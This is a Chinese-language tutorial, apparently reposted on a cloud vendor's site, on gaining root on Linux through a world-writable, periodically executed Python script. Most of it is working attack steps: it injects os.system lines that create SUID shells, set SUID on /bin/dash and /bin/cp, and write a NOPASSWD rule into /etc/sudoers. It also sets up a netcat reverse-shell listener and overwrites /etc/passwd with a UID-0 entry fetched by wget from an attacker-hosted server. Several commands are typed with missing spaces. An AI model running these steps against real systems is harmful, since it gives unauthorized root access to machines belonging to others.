您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關如何通過可寫文件來實現Linux下的提權,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
在Linux系統中,任何東西都是以文件形式存在的,包括目錄和設備在內,它們都擁有讀取、寫入和執行權限(需配置)。當管理員在設置文件權限時,必須根據Linux用戶的具體情況來進行設置。
我們將跟大家討論如何通過可寫文件/腳本來實現Linux下的提權。接下來,我們直奔主題。
打開你的電腦,然后入侵目標系統,我們直接進入到提權環節。假設我已經通過ssh成功登錄目標設備,然后訪問了非root用戶終端。接下來,使用下列命令枚舉出全部擁有可寫權限的文件:
find / -writable -type f 2>/dev/null | grep -v "/proc/"
你可以看到,結果中有一個存儲在/lib/log目錄中的python文件,查看之后我們發現sanitizer.py的權限為777:
看來這個文件是管理員用來清理/tmp目錄垃圾的,這種文件會在一定的時間間隔后自動執行。如果攻擊者也發現了這一點,那么他們就能夠通過接下來所介紹的方式實現提權了。
把/bin/sh拷貝到/tmp中,啟用/tmp/sh的SUID。這種方法很簡單,首先使用編輯器來打開文件,例如“nanosanitizer.py”,然后用下列內容替換掉“rm -r/tmp”:
os.system('cp/bin/sh /tmp/sh') os.system('chmodu+s /tmp/sh')
接下來,它會在/tmp目錄中創建一個擁有SUID權限的sh文件,你運行該文件之后你就能拿到root權限了。
cd /tmp
ls
./sh
id
whoami
跟之前的方法一樣,你可以用下列代碼替換掉原來的“rm -r /tmp”:
os.system(‘chmod u+s /bin/dash)
一段時間之后,它會給/bin/dash文件設置SUID權限,當你運行它之后你就能拿到root權限了:
/bin/dash id whoami
這里我們需要將python反向shell連接代碼復制到“rm -r /tmp/*”這里,然后在新的終端里開啟netcat監聽器:
一段時間之后你就會通過netcat拿到反向shell連接,并獲取到root權限了:
nc-lvp 1234
id
whoami
這是一種最有趣的方法,我們可以通過這種方法來使用sudo權限去登錄目標設備。大家可以看到,wernerbrandes現在還無法運行sudo命令:
將下列代碼替換掉“rm -r /tmp/*”:
os.system('echo"wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')
一定時間之后,當你運行“sudo -l”命令之后,你就會發現這個賬號變成了sudo用戶,然后你就可以拿到root權限了:
sudo -l sudo bash id
在任何一個類Linux系統中,passwd文件的重要性不言而喻,如果攻擊者可以訪問或修改這個文件,那么該文件就變成了一種提權方式。在可寫腳本的幫助下,我們可以使用cat命令來訪問etc/passwd文件。
大家可以從下圖中看到高亮標注的nemo用戶信息,我猜測UID:1000 & GID:1000表示該用戶很可能在管理員組里面。我們需要修改nemo記錄并讓它成為root組成員。首先,把etc/passwd文件的內容拷貝到一個空白的text文件中。
然后在新的終端里,生成salt密碼:
openssl passwd -1 -salt abc 123
把salt密碼拷貝到nemo用戶記錄條目的“X”位置,把之前的UID&GID改成0:0。完成所有步驟之后,把剛才新建的text文件保存問“passwd”,然后把這個文件拷貝到目標主機中覆蓋掉原始的passwd文件。
cd Desktop python -m SimpleHTTPServer 80
利用可寫腳本,用下列命令替換掉“rm -r /tmp/*”:
os.system(‘chmod u+s /bin/cp)
過一段時間之后它將會開啟/bin/cp的SUID權限,然后完成文件拷貝。
將修改后的passwd文件拷貝到目標主機的/tmp目錄中,然后輸入下列命令:
cd /tmp wget http://192.168.1.103/passwd ls -al /bin/cp cp passwd /etc/passwd
使用下列命令查看passwd文件是否替換成功:
tail /etc/passwd
通過下列命令拿到root權限:
su nemo password123 whoami
在這篇文章中我們給大家演示了攻擊者如何利用可寫文件實現提權,希望大家喜歡。
上述就是小編為大家分享的如何通過可寫文件來實現Linux下的提權了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。